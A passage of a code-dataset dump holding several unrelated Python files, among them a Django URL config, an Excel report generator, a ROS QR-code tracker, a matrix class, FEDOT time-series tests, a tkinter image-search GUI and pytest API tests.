an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url, include\nfrom django.contrib import admin\nfrom erp import api_views\n\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^erp/', include('erp.urls')),\n url(r'^login/$', api_views.login_api),\n url(r'^logout/$', api_views.logout_api),\n url(r'^settings/$', api_views.change_settings_api),\n url(r'^employee/$', api_views.employee__list_api),\n url(r'^employee/([0-9]+)/$', api_views.employee_api),\n url(r'^product/$', api_views.product__list_api),\n url(r'^product/([0-9]+)/$', api_views.product_api),\n url(r'^supplier/$', api_views.supplier__list_api),\n url(r'^supplier/([0-9]+)/$', api_views.supplier_api),\n url(r'^supply/$', api_views.supply__list_api),\n url(r'^supply/([0-9]+)/$', api_views.supply_api),\n url(r'^recipient/$', api_views.recipient__list_api),\n url(r'^recipient/([0-9]+)/$', api_views.recipient_api),\n url(r'^shipment/$', api_views.shipment__list_api),\n url(r'^shipment/([0-9]+)/$', api_views.shipment_api),\n url(r'^reports/([0-9]+)/$', api_views.reports_api),\n]\n","sub_path":"mab_erp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"620029257","text":"import os\nimport platform\nimport time\n\nimport jinja2\nimport pandas as pd\nfrom docxtpl import DocxTemplate\nfrom pandas import DataFrame\nfrom baoming.settings import MEDIA_URL, MEDIA_ROOT, BASE_DIR\nfrom webapp.controller.common import *\nfrom webapp.models import *\nimport xlrd\nimport xlutils.copy\nimport platform\nfrom webapp.utils.date_encoder import *\n\n\ndef reporter_chemical_not_list(student_infos=None):\n \"\"\"\n 非化学类的\n :return:\n \"\"\"\n try:\n document_root = os.path.join(BASE_DIR, 'document')\n filepath = document_root + \"/fujian04_excel_format.xlsx\"\n\n # system_type = platform.system()\n # if 'indows' in system_type:\n # filepath = \"D:/PycharmProjects/lelingzdy/baoming/webapp/utils/fujian04_excel_format.xlsx\"\n # else:\n # filepath = \"/opt/python3_space/lelingzdy/baoming/webapp/utils/fujian04_excel_format.xlsx\"\n original_data = pd.read_excel(filepath, encoding='utf-8')\n # rb打开该excel，formatting_info=True表示打开excel时并保存原有的格式\n rb = xlrd.open_workbook(filepath, formatting_info=True)\n # 创建一个可写入的副本\n wb = xlutils.copy.copy(rb)\n if not student_infos:\n student_infos = StudentInfo.objects.filter(confirm_status=1, chemical_worker=2)\n tmp_array = []\n if len(student_infos) > 0:\n tmp_num = 0\n for student in student_infos:\n identification_level = str(student.identification_level)\n if len(identification_level) > 0:\n identification_level = worker_level[str(student.identification_level)]\n else:\n identification_level = ''\n # 原证书编号\n original_certificate_number = student.original_certificate_number\n if original_certificate_number:\n pass\n else:\n original_certificate_number = \"\"\n\n # 文化程度\n education_degree = student.user_info.education_degree\n if education_degree:\n education_name = student.user_info.education_degree.education_name\n else:\n education_name = ''\n tmp_num = tmp_num + 1\n # tmp_dict = {'index': str(tmp_num),\n # 'r_e': student.user_info.real_name,\n # 'id_number': student.user_info.id_number,\n # 'sa': get_sex(student.user_info.sex),\n # 'school': student.user_info.middle_school,\n # 'f_occ': student.declaration_of_occupation,\n # 's_w_d': student.user_info.start_working_date,\n # 'id_level': identification_level,\n # 'jsll': '',\n # 'sjcz': '',\n # 'o_cer_num': original_certificate_number,\n # 'issuance_time': issuance_time}\n # tmp_list.append(tmp_dict)\n # 原级别\n primary_level = str(student.primary_level)\n if len(student.primary_level) > 0:\n primary_level = worker_level[str(student.primary_level)]\n else:\n primary_level = ''\n if student.user_info.start_working_date:\n start_working_date = date_encoder(student.user_info.start_working_date)\n else:\n start_working_date = ''\n\n if student.issuance_time:\n issuance_time = date_encoder(student.issuance_time)\n else:\n issuance_time = ''\n\n tmp_array.append([tmp_num,\n student.user_info.real_name,\n student.user_info.id_number,\n get_sex(student.user_info.sex),\n '',\n education_name,\n student.declaration_of_occupation,\n start_working_date,\n identification_level,\n '',\n '',\n '',\n original_certificate_number,\n issuance_time])\n num = 0\n print('len:::' + str(len(original_data)))\n for row in range(0, len(original_data)):\n if row > 3:\n out_sheet = wb.get_sheet(0)\n if num < len(tmp_array):\n set_out_cell(out_sheet, 0, row, tmp_array[num][0])\n set_out_cell(out_sheet, 1, row, tmp_array[num][1])\n set_out_cell(out_sheet, 2, row, tmp_array[num][2])\n set_out_cell(out_sheet, 3, row, tmp_array[num][3])\n set_out_cell(out_sheet, 4, row, tmp_array[num][4])\n set_out_cell(out_sheet, 5, row, tmp_array[num][5])\n set_out_cell(out_sheet, 6, row, tmp_array[num][6])\n set_out_cell(out_sheet, 7, row, tmp_array[num][7])\n set_out_cell(out_sheet, 8, row, tmp_array[num][8])\n set_out_cell(out_sheet, 9, row, tmp_array[num][9])\n set_out_cell(out_sheet, 10, row, tmp_array[num][10])\n set_out_cell(out_sheet, 11, row, tmp_array[num][11])\n set_out_cell(out_sheet, 12, row, tmp_array[num][12])\n set_out_cell(out_sheet, 13, row, tmp_array[num][13])\n else:\n set_out_cell(out_sheet, 0, row, num + 1)\n num = num + 1\n\n day_string = str(time.strftime('%Y/%m/%d', time.localtime(time.time())))\n file_root = MEDIA_ROOT + \"/files/\"\n day_files_path = file_root + 'reporter_chemical_not_list' + \"/files/\" + day_string\n if os.path.exists(day_files_path):\n pass\n else:\n os.makedirs(day_files_path)\n uuid_string = str(uuid.uuid4())\n file_day_files_path = day_files_path + \"/\" + uuid_string + \".xlsx\"\n wb.save(file_day_files_path)\n if os.path.exists(file_day_files_path):\n file_manage = FileManage()\n file_manage.file_name = \"非化工类学员报名表-\" + day_string\n file_manage.file_uuid = uuid_string\n file_manage.file_path = file_day_files_path\n file_manage.save()\n # 附件1 生成非化工类学员化名册成功，\n return str(file_manage.file_uuid)\n else:\n return None\n else:\n return None\n except Exception as e:\n print(e)\n raise e\n\n\ndef get_sex(value):\n \"\"\"\n 性别过滤器\n :param value:\n :return:\n \"\"\"\n return_value = ''\n if value == 'MALE':\n return_value = '男'\n if value == 'FEMALE':\n return_value = '女'\n if value == 'OTHER':\n return_value = '未填写'\n return return_value\n\n\ndef set_out_cell(out_sheet, col, row, value):\n \"\"\" Change cell value without changing formatting. \"\"\"\n\n def _getOutCell(out_sheet, colIndex, rowIndex):\n \"\"\" HACK: Extract the internal xlwt cell representation. \"\"\"\n row = out_sheet._Worksheet__rows.get(rowIndex)\n if not row: return None\n\n cell = row._Row__cells.get(colIndex)\n return cell\n\n # HACK to retain cell style.\n previousCell = _getOutCell(out_sheet, col, row)\n # END HACK, PART I\n\n out_sheet.write(row, col, value)\n\n # HACK, PART II\n if previousCell:\n newCell = _getOutCell(out_sheet, col, row)\n if newCell:\n newCell.xf_idx = previousCell.xf_idx\n","sub_path":"baoming/webapp/utils/reporter_chemical_not_list_format.py","file_name":"reporter_chemical_not_list_format.py","file_ext":"py","file_size_in_byte":8060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"558822117","text":"#!/usr/bin/env python\nimport sys\nimport rospy\nimport operator\nimport cv2\nimport zbar\nfrom PIL import Image\nimport numpy as np\nfrom std_msgs.msg import String\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge, CvBridgeError\nfrom array import array\n\ndef callback_image(data):\n image = None\n bridge = CvBridge()\n try:\n image = bridge.imgmsg_to_cv2(data, \"bgr8\")\n except CvBridgeError as e:\n print(e)\n output = image.copy()\n\n height, width, channels = output.shape\n #print height, width, channels\n \n\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n # Uses PIL to convert the grayscale image into a ndary array that ZBar can understand.\n #image = Image.fromarray(gray)\n image = np.array (gray)\n #width, height = image.size\n width = 640\n height = 360\n\n #Transformamos el frame para despues escanear lo que detecta\n zbar_image = zbar.Image(width, height, 'Y800', image.tostring())\n\n # Scans the zbar image.\n scanner = zbar.ImageScanner()\n scanner.scan(zbar_image)\n # Prints data from image.\n for decoded in zbar_image:\n #print(\"Data: \",decoded.data)\n #print(\"Tipo: \",decoded.type)\n #print(\"Pos: \",decoded.location)\n\n # Dibujando Puntos\n puntos = decoded.location\n centro = puntos[0] \n d1 = (puntos[2][0] + puntos[3][0]) / 2\n d2 = (puntos[1][1] + puntos[2][1]) / 2\n\n # Centro QR Code (d1,d2)\n cv2.circle(output,(d1,d2), 5, (0,0,255), -1)\n\n # Centro Video Frame (c1,c2)\n c1 = 320\n c2 = 180\n cv2.circle(output,(c1,c2), 20, (0,90,255), -1)\n cv2.line(output,(c1,c2),(d1,d2),(0,0,255),5)\n\n print(\"Centro Frame :\",c1, \" \",c2)\n print(\"Centro QR code :\",d1, \" \",d2)\n # Movimientos\n if c1 < d1:\n print(\"Muevete a la derecha !!!\")\n if c1 > d1:\n print(\"Muevete a la izquierda !!!\")\n if c2 > d2:\n print(\"Muevete hacia arriba !!!\")\n if c2 < d2:\n print(\"Muevete hacia abajo !!!\")\n\n\n \n # Number of points in the convex hull\n n = len(puntos)\n \n # Draw the convext hull\n for j in range(0,n):\n cv2.line(output, puntos[j], puntos[ (j+1) % n], (255,0,0), 3)\n # Alineando al centro\n #if \n\n\n\n\n \n cv2.imshow(\"Image\", output)\n cv2.waitKey(3)\n\n\nif __name__ == '__main__':\n rospy.init_node('Track')\n rospy.Subscriber(\"/ardrone/front/image_raw\", Image, callback_image)\n rospy.spin()\n \ncv2.destroyAllWindows()","sub_path":"circle.py","file_name":"circle.py","file_ext":"py","file_size_in_byte":2553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"314780631","text":"import json\nimport pdb\n\n\nclass Matrix:\n def __init__(self):\n self.rows = []\n self.N = 0\n self.M = 0\n # self.rows = [[80, 10, 0], [1, 2, 3]]\n\n def __mul__(self, mtx):\n if type(mtx) != type(self):\n raise TypeError(\"Matrix class not used to multiply\")\n\n if self.M != mtx.N:\n raise ArithmeticError(\n \"Dimensions of the matricies do not match and are unable to be multiplied.\"\n )\n\n # Create the matrix.\n C = Matrix()\n C.rows = []\n for _ in range(self.M):\n C.rows.append([0] * mtx.N)\n\n for i in range(len(self.rows)):\n for j in range(len(self.rows[0])):\n for k in range(len(mtx.rows[0])):\n C.rows[i][k] += self.rows[i][j] * mtx.rows[j][k]\n\n C.update()\n return C\n\n def __imul__(self, mtx):\n self = self * mtx\n return self\n\n def __str__(self):\n return \"N({}) x M({})\\n\".format(self.N, self.M) + \"\\n\".join(\n [\" \".join([\"{:3}\".format(val) for val in row]) for row in self.rows]\n )\n\n def __repr__(self):\n return self.rows\n\n def update(self):\n self.N = len(self.rows)\n self.M = len(self.rows[0])\n return True\n\n def load_file(self, filename):\n with open(filename, \"r\") as ftext:\n data = json.load(ftext)\n\n n_rank = data[\"n\"]\n m_rank = data[\"m\"]\n\n A = []\n col_idx = 0\n n_rows = 0\n\n # Iterate through the rows until the value is found.\n for i in range(0, m_rank - 1):\n next_row = data[\"rows\"][i + 1]\n while col_idx != next_row - 1:\n row = [0] * n_rank\n if n_rows == n_rank:\n break\n\n # Iterate through the columns populating the values.\n for k in range(0, n_rank):\n if k + 1 == data[\"cols\"][col_idx]:\n row[k] = data[\"vals\"][col_idx]\n col_idx += 1\n\n n_rows += 1\n A.append(row)\n self.rows = A\n self.update()\n return A\n\n def transpose(self):\n at = Matrix()\n at.rows = []\n\n for i in range(self.N):\n current_row = []\n for k in range(self.M):\n current_row.append(self.rows[k][i])\n at.rows.append(current_row)\n\n at.update()\n return at\n\n def transpose_file(self, filename, new_file):\n with open(filename, \"r\") as csr:\n data = json.load(csr)\n\n mapping = {}\n row = 0\n row_limit = data[\"rows\"][row]\n done = False\n\n for i in range(len(data[\"cols\"])):\n while i == row_limit and not done:\n if row == len(data[\"rows\"]) - 1:\n done = True\n row += 1\n break\n\n row += 1\n row_limit = data[\"rows\"][row]\n\n col = data[\"cols\"][i]\n if col in mapping:\n mapping[col].append((row, data[\"vals\"][i]))\n else:\n mapping[col] = [(row, data[\"vals\"][i])]\n \n\n\n new_row = []\n new_col = []\n new_val = []\n csr_data = sorted(mapping)\n\n sum = 0\n for key in csr_data:\n new_row.append(sum)\n sum += len(mapping[key])\n\n for val in mapping[key]:\n new_col.append(val[0])\n new_val.append(val[1])\n\n\n\n new_file_contents = {}\n new_file_contents[\"rows\"] = new_row\n new_file_contents[\"cols\"] = new_col\n new_file_contents[\"vals\"] = new_val\n\n with open(\"new_file.json\", \"w\") as nf:\n json.dump(new_file_contents, nf)\n\n \"\"\" \n TRIVIAL SOLUTION\n for i in range(1, len(data[\"rows\"] - 1)):\n row_stop = data[\"rows\"][i]\n\n while col_idx != row_stop: \n At[data[\"cols\"][col_idx]][row] = data[\"vals\"][col_idx]\n col_idx += 1\n \n row += 1\n \n return At\n \"\"\"\n return True\n\n\nm = Matrix()\nm.load_file(\"example_mtx_two.json\")\nprint(m)\n\nm.transpose_file(\"example_mtx_two.json\", \"new_file.json\")\ntranspose = m.transpose()\nprint(transpose)\n\n\n\"\"\"\nprint(m)\nprint()\nc = m * m\nprint(c)\n\"\"\"\n","sub_path":"matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":4367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"237019441","text":"import os\nimport pandas as pd\n\ndirectory = os.fsencode('./resources/raw')\n\nwriter = pd.ExcelWriter('./resources/output/orderIn60Miles.xlsx')\n\nfor file in os.listdir(directory):\n filename = os.fsdecode(file)\n if filename.endswith(\".xlsx\"):\n filename = os.path.join(directory, file).decode()\n city = file.decode().split('.')[0]\n print(city)\n df = pd.read_excel(filename)\n\n dist = df[\"Distance\"]\n distInRadius = list(filter(lambda x: (x <= 60), dist))\n orderInRadius = df[\"Order ID\"][0:len(distInRadius)]\n latInRadius = df[\"Lat\"][0:len(distInRadius)]\n lngInRadius = df[\"Lng\"][0:len(distInRadius)]\n\n data = {'Order ID': orderInRadius, 'Distance': distInRadius, 'Lat': latInRadius, 'Lng': lngInRadius}\n df2 = pd.DataFrame(data)\n\n df2.to_excel(writer, sheet_name=city)\n\nwriter.save()\n","sub_path":"data-tailor.py","file_name":"data-tailor.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"209483179","text":"import numpy as np\n\nfrom fedot.core.data.data import InputData\nfrom fedot.core.data.multi_modal import MultiModalData\nfrom fedot.core.operations.evaluation.operation_implementations.data_operations.ts_transformations import \\\n _prepare_target, _ts_to_table, _sparse_matrix\nfrom fedot.core.pipelines.node import PrimaryNode, SecondaryNode\nfrom fedot.core.pipelines.pipeline import Pipeline\nfrom fedot.core.repository.dataset_types import DataTypesEnum\nfrom fedot.core.repository.tasks import Task, TaskTypesEnum, TsForecastingParams\nfrom fedot.core.log import default_log\n\nwindow_size = 4\nforecast_length = 4\nlog = default_log(__name__)\n\n\ndef synthetic_univariate_ts():\n \"\"\" Method returns InputData for classical time series forecasting task \"\"\"\n task = Task(TaskTypesEnum.ts_forecasting,\n TsForecastingParams(forecast_length=forecast_length))\n # Simple time series to process\n ts_train = np.array([0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 100, 110, 120, 130])\n ts_test = np.array([140, 150, 160, 170])\n\n # Prepare train data\n train_input = InputData(idx=np.arange(0, len(ts_train)),\n features=ts_train,\n target=ts_train,\n task=task,\n data_type=DataTypesEnum.ts)\n\n start_forecast = len(ts_train)\n end_forecast = start_forecast + forecast_length\n predict_input = InputData(idx=np.arange(start_forecast, end_forecast),\n features=ts_train,\n target=None,\n task=task,\n data_type=DataTypesEnum.ts)\n return train_input, predict_input, ts_test\n\n\ndef synthetic_with_exogenous_ts():\n \"\"\" Method returns InputData for time series forecasting task with\n exogenous variable \"\"\"\n task = Task(TaskTypesEnum.ts_forecasting,\n TsForecastingParams(forecast_length=forecast_length))\n\n # Time series with exogenous variable\n ts_train = np.array([0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 100, 110, 120, 130])\n ts_exog = np.array([10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23])\n\n ts_test = np.array([140, 150, 160, 170])\n ts_test_exog = np.array([24, 25, 26, 27])\n\n # Indices for forecast\n start_forecast = len(ts_train)\n end_forecast = start_forecast + forecast_length\n\n # Input for source time series\n train_source_ts = InputData(idx=np.arange(0, len(ts_train)),\n features=ts_train, target=ts_train,\n task=task, data_type=DataTypesEnum.ts)\n predict_source_ts = InputData(idx=np.arange(start_forecast, end_forecast),\n features=ts_train, target=None,\n task=task, data_type=DataTypesEnum.ts)\n\n # Input for exogenous variable\n train_exog_ts = InputData(idx=np.arange(0, len(ts_train)),\n features=ts_exog, target=ts_train,\n task=task, data_type=DataTypesEnum.ts)\n predict_exog_ts = InputData(idx=np.arange(start_forecast, end_forecast),\n features=ts_test_exog, target=None,\n task=task, data_type=DataTypesEnum.ts)\n return train_source_ts, predict_source_ts, train_exog_ts, predict_exog_ts, ts_test\n\n\ndef test_ts_to_lagged_table():\n # Check first step - lagged transformation of features\n train_input, _, _ = synthetic_univariate_ts()\n\n new_idx, lagged_table = _ts_to_table(idx=train_input.idx,\n time_series=train_input.features,\n window_size=window_size)\n\n correct_lagged_table = ((0., 10., 20., 30.),\n (10., 20., 30., 40.),\n (20., 30., 40., 50.),\n (30., 40., 50., 60.),\n (40., 50., 60., 70.),\n (50., 60., 70., 80.),\n (60., 70., 80., 90.),\n (70., 80., 90., 100.),\n (80., 90., 100., 110.),\n (90., 100., 110., 120.))\n\n correct_new_idx = (4, 5, 6, 7, 8, 9, 10, 11, 12, 13)\n\n # Convert into tuple for comparison\n new_idx_as_tuple = tuple(new_idx)\n lagged_table_as_tuple = tuple(map(tuple, lagged_table))\n assert lagged_table_as_tuple == correct_lagged_table\n assert new_idx_as_tuple == correct_new_idx\n\n # Second step - processing for correct the target\n final_idx, features_columns, final_target = _prepare_target(idx=new_idx,\n features_columns=lagged_table,\n target=train_input.target,\n forecast_length=forecast_length)\n correct_final_idx = (4, 5, 6, 7, 8, 9, 10)\n correct_features_columns = ((0., 10., 20., 30.),\n (10., 20., 30., 40.),\n (20., 30., 40., 50.),\n (30., 40., 50., 60.),\n (40., 50., 60., 70.),\n (50., 60., 70., 80.),\n (60., 70., 80., 90.))\n\n correct_final_target = ((40., 50., 60., 70.),\n (50., 60., 70., 80.),\n (60., 70., 80., 90.),\n (70., 80., 90., 100.),\n (80., 90., 100., 110.),\n (90., 100., 110., 120.),\n (100., 110., 120., 130.))\n\n # Convert into tuple for comparison\n final_idx_as_tuple = tuple(final_idx)\n features_columns_as_tuple = tuple(map(tuple, features_columns))\n final_target_as_tuple = tuple(map(tuple, final_target))\n\n assert final_idx_as_tuple == correct_final_idx\n assert features_columns_as_tuple == correct_features_columns\n assert final_target_as_tuple == correct_final_target\n\n\ndef test_sparse_matrix():\n # Create lagged matrix for sparse\n train_input, _, _ = synthetic_univariate_ts()\n _, lagged_table = _ts_to_table(idx=train_input.idx,\n time_series=train_input.features,\n window_size=window_size)\n features_columns = _sparse_matrix(log, lagged_table)\n\n # assert if sparse matrix features less than half or less than another dimension\n assert features_columns.shape[0] == lagged_table.shape[0]\n assert features_columns.shape[1] <= lagged_table.shape[1]/2 or features_columns.shape[1] < lagged_table.shape[0]\n\n\ndef test_forecast_with_sparse_lagged():\n train_source_ts, predict_source_ts, train_exog_ts, predict_exog_ts, ts_test = synthetic_with_exogenous_ts()\n\n node_lagged = PrimaryNode('sparse_lagged')\n # Set window size for lagged transformation\n node_lagged.custom_params = {'window_size': window_size}\n\n node_final = SecondaryNode('linear', nodes_from=[node_lagged])\n pipeline = Pipeline(node_final)\n\n pipeline.fit(input_data=MultiModalData({'sparse_lagged': train_source_ts}))\n\n forecast = pipeline.predict(input_data=MultiModalData({'sparse_lagged': predict_source_ts}))\n is_forecasted = True\n\n assert is_forecasted\n\n\ndef test_forecast_with_exog():\n train_source_ts, predict_source_ts, train_exog_ts, predict_exog_ts, ts_test = synthetic_with_exogenous_ts()\n\n # Source data for lagged node\n node_lagged = PrimaryNode('lagged')\n # Set window size for lagged transformation\n node_lagged.custom_params = {'window_size': window_size}\n # Exogenous variable for exog node\n node_exog = PrimaryNode('exog_ts_data_source')\n\n node_final = SecondaryNode('linear', nodes_from=[node_lagged, node_exog])\n pipeline = Pipeline(node_final)\n\n pipeline.fit(input_data=MultiModalData({'exog_ts_data_source': train_exog_ts,\n 'lagged': train_source_ts}))\n\n forecast = pipeline.predict(input_data=MultiModalData({'exog_ts_data_source': predict_exog_ts,\n 'lagged': predict_source_ts}))\n prediction = np.ravel(np.array(forecast.predict))\n\n assert tuple(prediction) == tuple(ts_test)\n","sub_path":"test/unit/data_operations/test_time_series_operations.py","file_name":"test_time_series_operations.py","file_ext":"py","file_size_in_byte":8358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"624326669","text":"from sympy.physics.units import *\nfrom sympy import *\n\nM = var(\"mass\")\ng = 9.81 *m/s**2\n(d , h) = (1.5 *m , 2.5 *m)\n\nr = d/2\n\npprint(\"\\nv1 / (m/s):\")\nv1 = sqrt(2*g*h)\ntmp = v1\ntmp /= m/s\npprint(N(tmp,3))\n\nJ_S = M*r**2 / 4\nJ_A = J_S + M*r*r\n\nv2 = var(\"v2\")\n\neq = Eq(r*M*v1, J_A*v2/r)\n\nsol = solve(eq,v2)[0]\npprint(\"\\nv2 / (m/s):\")\ntmp = sol\ntmp /= m/s\npprint(N(tmp,3))\n","sub_path":"de/py/10.30.py","file_name":"10.30.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"214198771","text":"from tkinter import *\nfrom PIL import Image, ImageTk\n\nimport pyperclip as pc\nimport bingimage as bi\n\nfrom config import *\nfrom random import shuffle\n\nimport procman as pm\nfrom fuzzywuzzy import fuzz\n\nclass ItemListIterator:\n def __init__(self, itemlist):\n self.iterator = iter(itemlist)\n self.current = next(self.iterator)\n\n def getValue(self):\n return self.current\n\n def next(self):\n self.current = next(self.iterator)\n\ndef btn_found_fn(itemiter):\n btn_next_fn(itemiter)\n lbl_text = stringvars['lbl_text']\n lbl_text.set(int(lbl_text.get()) + 1)\n\ndef btn_next_fn(itemiter):\n itemiter.next()\n tbox_text = stringvars['tbox_text']\n tbox_text.set(itemiter.getValue().query())\n pc.copy(tbox_text.get())\n\ndef main_frame(root, itemiter):\n global stringvars\n rframe = Frame(root)\n #rframe.pack(fill=BOTH, expand=True)\n\n stringvars['tbox_text'] = StringVar()\n tbox_text = stringvars['tbox_text']\n tbox_text.set(itemiter.getValue().query())\n tbox = Entry(rframe, textvariable=tbox_text, width=40)\n tbox.grid(row = 0, columnspan=3, sticky=W+E)\n\n btn_cpy = Button(rframe, text='Copy Text', command=lambda: pc.copy(tbox_text.get()))\n btn_cpy.grid(row = 1, column = 0, sticky=W+E)\n\n btn_cpy_inum = Button(rframe, text='Copy Item Number', \\\n command= lambda: pc.copy(str(itemiter.getValue().itemnum)))\n btn_cpy_inum.grid(row = 1, column = 1, sticky=E+W)\n\n stringvars['lbl_text'] = StringVar()\n lbl_text = stringvars['lbl_text']\n lbl_text.set('0')\n lbl_items = Label(rframe, textvariable=lbl_text)\n lbl_items.grid(row=1, column=2, sticky=E+W)\n\n btn_found = Button(rframe, text='Found', \\\n command=lambda: btn_found_fn(itemiter))\n btn_found.grid(row = 2, column = 0, sticky=W+E)\n\n btn_next = Button(rframe, text='Next', \\\n command=lambda: btn_next_fn(itemiter))\n btn_next.grid(row = 2, column = 1, sticky=W+E)\n\n btn_quit = Button(rframe, text='Quit')\n btn_quit.grid(row = 2, column = 2, sticky=E+W)\n\n rframe.grid(row=0,column=0,sticky=N+W)\n \ndef get_next_picture(lbl_image, searchiter):\n search = bi.bingValueResult(next(searchiter))\n img = search.downloadImage()\n img = img.resize((300, 300))\n pho_current = ImageTk.PhotoImage(img)\n\n lbl_image.config(image = pho_current)\n lbl_image.photo = pho_current\n lbl_image.update()\n\n set_values(search)\n generate_ratio_values(search)\n\ndef set_values(result):\n global stringvars\n\n stringvars['host'].set(str(result.hostLocation()))\n stringvars['name'].set(str(result.name()))\n stringvars['link'].set(str(result.contentLink()))\n\ndef generate_ratio_values(result):\n global stringvars\n itm = itemiter.getValue()\n name = stringvars['name'].get()\n\n\n stringvars['ratios'].set('({}, {}, {})'.format( \\\n fuzz.UQRatio(itm.description, name), \\\n fuzz.UWRatio(itm.description, name), \\\n fuzz.partial_ratio(itm.description, name)))\n \n \ndef picture_frame(root):\n global stringvars, itemiter\n pframe = Frame(root)\n searchRes = None\n while True:\n searchRes = bi.imageSearch(itemiter.getValue().query())\n if searchRes.valueCount() != 0:\n break\n itemiter.next()\n \n searchiter = iter(searchRes.values())\n search = bi.bingValueResult(next(searchiter))\n img = search.downloadImage()\n img = img.resize((300, 300))\n pho_current = ImageTk.PhotoImage(img)\n \n lbl_image = Label(pframe, image=pho_current)\n lbl_image.photo = pho_current\n lbl_image.grid(row=0, column=0, rowspan=2, columnspan=2,sticky=N+S+E+W)\n\n btn_save = Button(pframe, text='Save')\n btn_save.grid(row=3, column=0, sticky=E+W)\n\n btn_next = Button(pframe, text='Next', command=\\\n lambda: get_next_picture(lbl_image,searchiter))\n btn_next.grid(row=3, column=1, sticky=E+W)\n\n iframe = Frame(root, bd=2, relief=SUNKEN)\n\n stringvars['host'] = StringVar(\"\")\n stringvars['name'] = StringVar(\"\")\n stringvars['link'] = StringVar(\"\")\n stringvars['ratios'] = StringVar(\"\")\n\n generate_ratio_values(search)\n set_values(search)\n tbox_name_text = stringvars['name']\n tbox_name = Entry(iframe, textvariable=tbox_name_text, width=40)\n tbox_name.grid(row=0, column=0, sticky=N+W+E)\n\n tbox_host_text = stringvars['host']\n tbox_host = Entry(iframe, textvariable=tbox_host_text, width=40)\n tbox_host.grid(row=1, column=0, sticky=N+W+E)\n\n tbox_link_text = stringvars['link']\n tbox_link = Entry(iframe, textvariable=tbox_link_text, width=40)\n tbox_link.grid(row=2, column=0, sticky=N+E+W)\n\n tbox_ratio_text = stringvars['ratios']\n tbox_ratio = Entry(iframe, textvariable=tbox_ratio_text, width=40)\n tbox_ratio.grid(row=3, column=0, sticky=N+E+W)\n\n pframe.grid(row=0, column=1, rowspan=2, sticky=N+W+E+S)\n iframe.grid(row=1, column=0, sticky=N+E+S+W)\n \n\nif __name__ == '__main__':\n global stringvars, itemiter\n itemlist = list(pm.getMissing())\n shuffle(itemlist)\n itemiter = ItemListIterator(itemlist)\n\n stringvars = {}\n\n root = Tk()\n #root.minsize(500, 200)\n\n #picture_frame(root)\n main_frame(root, itemiter)\n\n\n\n root.mainloop()\n","sub_path":"CostcoOld/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":5289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"441950142","text":"class Stack:\n def __init__(self):\n self.arr = []\n\n def isempty(self):\n if self.arr:\n return False\n else:\n return True\n\n def peek(self):\n if not self.isempty():\n return self.arr[-1]\n else:\n return None\n \n def pop(self):\n if not self.isempty():\n val = self.arr[-1]\n del(self.arr[-1])\n return val\n else:\n print('No element to delete')\n\n def push(self,x):\n self.arr.append(x)\n\n def printstack(self):\n if not self.isempty():\n for i in self.arr:\n print(i, end = ' ')\n print()\n else:\n print('Stack is empty')\n\n def sort(self):\n reserve = Stack()\n while not self.isempty():\n temp = self.pop()\n while not reserve.isempty() and reserve.peek() > temp:\n self.push(reserve.pop())\n reserve.push(temp)\n while not reserve.isempty():\n self.push(reserve.pop())\n\ndef main():\n stack = Stack()\n stack.push(6)\n stack.push(85)\n stack.push(3)\n stack.push(1)\n stack.push(10)\n stack.push(2)\n stack.printstack()\n stack.sort()\n stack.printstack()\n print(stack.peek())\n\nif __name__=='__main__':\n main() ","sub_path":"Chapter 3/3.5.py","file_name":"3.5.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"595051412","text":"import pytest\nfrom pages.label import Label\nfrom utility.logger import *\n\n\n@pytest.fixture()\ndef label_obj():\n label_obj = Label()\n yield label_obj\n label_obj.del_all()\n\n\n@pytest.mark.POST\ndef test_create_label(label_obj):\n try:\n assert label_obj.create_label_on_board(correct_red_label) == SUCCESS\n except Exception as err:\n logger.error(err)\n raise err\n\n\n@pytest.mark.DELETE\ndef test_del_a_label_on_board(label_obj):\n try:\n assert label_obj.del_a_label_on_board() == SUCCESS\n except Exception as err:\n logger.error(err)\n raise err\n\n\n@pytest.mark.PUT\ndef test_update_color(label_obj):\n try:\n assert label_obj.update_label_color() == SUCCESS\n except Exception as err:\n logger.error(err)\n raise err\n\n\n@pytest.mark.GET\ndef test_get_label_info(label_obj):\n try:\n assert label_obj.get_label_info() == SUCCESS\n except Exception as err:\n logger.error(err)\n raise err\n","sub_path":"tests/test_label.py","file_name":"test_label.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"556929646","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"Hash code 2018.\n\nRunner of the simulations. Submissions files will be put into the named dir.\n\"\"\"\nimport 